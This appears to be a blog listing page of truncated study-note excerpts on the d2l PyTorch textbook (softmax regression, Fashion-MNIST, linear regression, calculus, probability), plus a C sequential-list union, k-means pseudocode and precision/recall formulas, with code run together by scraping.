Spencer

123import torchfrom torch import nnfrom d2l import torch as d2l 12batch_size = 256train_iter, test_iter = d2l.load_data_fashion_mnist(batch_size)#先加载数据集并且分类为训练集和测试集 3.7.1 Initialize modelling parameters1234567891011#Softmax regression output layer is a fully connection layer. So to realize the model, we only#need to add a 10-output fully connected layer in Sequential#pytorch will not adjust shape of input implicitly#so we define flatten layer before Linear layer to adjust the shape of network in ...

12345#We should know about the detail of softmax, so we use Fashion-Mnist dataset in 3.5 chapter, and we set the#batch_size 256import torchfrom IPython import displayfrom d2l import torch as d2l 12batch_size = 256train_iter, test_iter = d2l.load_data_fashion_mnist(batch_size, resize=None)#用到了我们3.5节定义的函数 1234567891011121314#we know each image is 28x28, so we can regard them as vectors with length 784.#we recall y_j is the probability of class j with positive number and normalized by 1.#Because we ...

定义线性表注意 123对数组进行封装，在存储空间起始位置即为数组data，设置最大存储容量，一般不会变当前长度length，会变化 代码如下 12345typedef struct{ int data[MAXSIZE]; int length;}SqList; 变化的集合我们用*L，不变的集合我们参数才用L。下面是A = A并B的操作，所以我们知道A是要改变的，传入地址。 123456789101112131415void unionL(List *La, list Lb){ int La_len, Lb_len, i; ElemType e; La_len = ListLength(*La); Lb_len = ListLength(Lb); for (i = 1; i <= Lb_len; i++)//也就是判断b中每一个元素是否在La中 { GetElem(Lb, i, &e); if(!LocateElem(*La, e)) { ListInsert(La, ++La_len, e); &# ...

3.4 softmax regression12345#硬性类别：属于某一类别#软性类别：属于某一类别的概率#我们用one-hot encoding来分类，one-hot encoding是一个向量，维数等于类别数#比如我们有猫狗鸡三类，向量为（1,0,0）或(0,1,0)或(0,0,1),当一个动物被分类为鸡时，可以看成(0,0,1)其他两个以此类推#所以y属于{(1,0,0),{0,1,0},{0,0,1}} 3.4.2 network architecture1#下面是公式推导部分，详见现有网址，后续这里补充推导。 3.5 image classification dataset1#MNIST数据集是图像分类中最广泛的数据集之一，我们使用更复杂的Fashion-MNIST数据集 1234567%matplotlib inlineimport torchimport torchvisionfrom torch.utils import datafrom torchvision import transformsfrom d ...

1.我们后期补充数学推导我们算法的原理如下： 1首先对于一批样本点，我们并没有头绪，首先随机找到几个已知点作为初始质心，然后分别对样本所有点，计算其到质心的距离，为每个样本点选择最近的质心，这样就形成了一个初始的归类了，然后我们对于每个类，重新计算质心，得到新的质心后，对所有样本，再执行到质心距离的计算和判别，重新分类，多次迭代实现分类。 我们来实现一下伪代码： 12345678910111213141516171819init_center[] = select_random_smaple_point(k)#所以为k-means算法for i in range(dataset): for j in range(init_center): sample_to_center_distances[i][j] = calculate_distance(dataset(i), init_center(j)) sample_belongs_to_center[i] = min(sample_to_center_distances[i])#取距离最小的那个int class[][]k=0#将每个 ...

Precision and RecallWe use precision and recall as the measurements to estimate the efficiency of a retrieval system. Now there is a ‘contingency’ table. and now we define the measurements using formulas. & PRECISION = \frac{|A\cap B|}{|B|} \\ & RECALL = \frac{|A\cap B|}{|A|} \\ & FALLOUT = \frac{|\overline {A} \cap B|}{|\overline A|}and There is a function relationship between all three involving a parameter called generality(G), which is a measure of the density of the relevant documents in ...

3.3 线性回归的简洁实现1234import numpy as npimport torchfrom torch.utils import data#新导入一个data包from d2l import torch as d2l 3.3.1 生成数据集123true_w = torch.tensor([2, -3.4])true_b = 4.2features, labels = d2l.synthetic_data(true_w, true_b, 1000)#生成1000行数据，给出真实的特征和最后的结果 3.3.2 读取数据集1234567#we use the api to read data and we apply the features and labels as parameters of api, assigning batch_size by #data_iterdef load_array(data_arrays, batch_size, is_train=True): #@ #is_train represents whether the data wil ...

3.1.2 向量化加速123456%matplotlib inlineimport mathimport timeimport numpy as npimport torchfrom d2l import torch as d2l 1234n = 10000#10000维向量a = torch.ones(n)b = torch.ones(n)a, b (tensor([1., 1., 1., ..., 1., 1., 1.]), tensor([1., 1., 1., ..., 1., 1., 1.])) 12345678910111213141516171819202122232425class Timer():#@save """记录多次运行时间""" def __init__(self): self.times = [] self.start() def start(self): """启动计时器"& ...

2.6 Probability and Statistics12345%matplotlib inlineimport randomimport torchfrom torch.distributions.multinomial import Multinomialfrom d2l import torch as d2l 12345num_toss = 100heads = sum([random.random() > 0.5 for _ in range(100)])#random() between 0 and 1tails = num_toss - headsprint("heads tails: ", [heads, tails])#完成了一个抽样过程，利用random函数 heads tails: [59, 41] 123fair_probs = torch.tensor([0.5, 0.5])Multinomial(100, fair_probs).sample()#We take 100 draws and set the probility ...

2.4 Calculus12345678%matplotlib inline#This is a magic command in order to display the function curves directly in the notebook but not interactively.import numpy as npfrom matplotlib_inline import backend_inlinefrom d2l import torch as d2ldef f(x): return 3 * x ** 2 - 4 * x 123456789def numerical_lim(f, x, h): return (f(x + h) - f(x)) / hh = 0.1for i in range(5): print(f'h = {h:.5f}, numerical limit = {numerical_lim(f, 1, h):.5f}') #namely figure out th ...